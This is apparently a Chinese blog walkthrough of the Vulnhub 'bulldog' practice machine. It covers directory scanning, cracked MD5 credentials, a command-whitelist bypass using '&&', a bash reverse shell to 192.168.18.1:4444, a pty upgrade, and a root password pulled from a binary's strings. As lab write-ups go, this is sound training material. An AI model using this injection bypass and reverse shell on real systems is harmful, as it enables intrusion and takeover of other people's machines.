拿到靶场后先对ip进行扫描

获取ip  和端口

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

Vulnhub靶场渗透练习(三) bulldog Safe 第1张

针对项目路径爆破

获取两个有用文件 

http://192.168.18.144/dev/

dev,admin  

更具dev 发现他们用到框架和语言 找到一个 shell 连接

Vulnhub靶场渗透练习(三) bulldog Safe 第2张

http://192.168.18.144/dev/shell/    

反健源码 查看可以看到

Vulnhub靶场渗透练习(三) bulldog Safe 第3张

丢入md5 网站解密 成功的解密2个用户

Back End: nick@bulldogindustries.com 用户名:nick,密码:bulldog (CMD5可免费解密出来) Database: sarah@bulldogindustries.com 用户名:sarah,密码:bulldoglover (SOMD5可免费解密出来) 后台登录在访问 shell 操作地址 发现可以访问 得到一个命令控制台 有白名单限制 Vulnhub靶场渗透练习(三) bulldog Safe 第4张

 

 这里想到是 && 和 || Vulnhub靶场渗透练习(三) bulldog Safe 第5张

尝试执行

Vulnhub靶场渗透练习(三) bulldog Safe 第6张

发现可以   这时候直接反弹shell

ls &&echo "bash -i >& /dev/tcp/192.168.18.1/4444 0>&1" | bash

反弹成功 输入python -c 'import pty;pty.spawn("/bin/bash")'  

在对历史操作记录查看和文件配置后并未发现有用信息  卡了很久 去看了 wp 才发现 root 密码要拆解

对 passwd 查出的用户进行 home 文件寻找信息

find / -user bulldogadmin    find / -user bulldogadmin django (1) 发现值得关注的文件有:一个是note,一个是customPermissionApp。 /home/bulldogadmin/.hiddenadmindirectory/note /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp (2) 打开note文本文件:发现提示webserver有时需要root权限访问。 (3) 打开customPermissionApp,看上去是可执行文件,使用strings打印其中的可打印字符: 这里得到的字符太多了  又卡住了  查看其他人写的wp 发现 ,英文单词包括:SUPER、 ulitimate、PASSWORD、 youCANTget,这些都与最高权限账号相关  去掉h 变成一句通顺的英文句子:SUPERultimatePASSWORDyouCANTget 直接执行 su  切换root 用户

django@bulldog:/home/django/bulldog$ sudo su -
sudo su -
[sudo] password for django: bulldog

Sorry, try again.
[sudo] password for django: SUPERultimatePASSWORDyouCANTget

尬尴 虽然进去了 但是那个root 密码拼接的是真想不出来

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄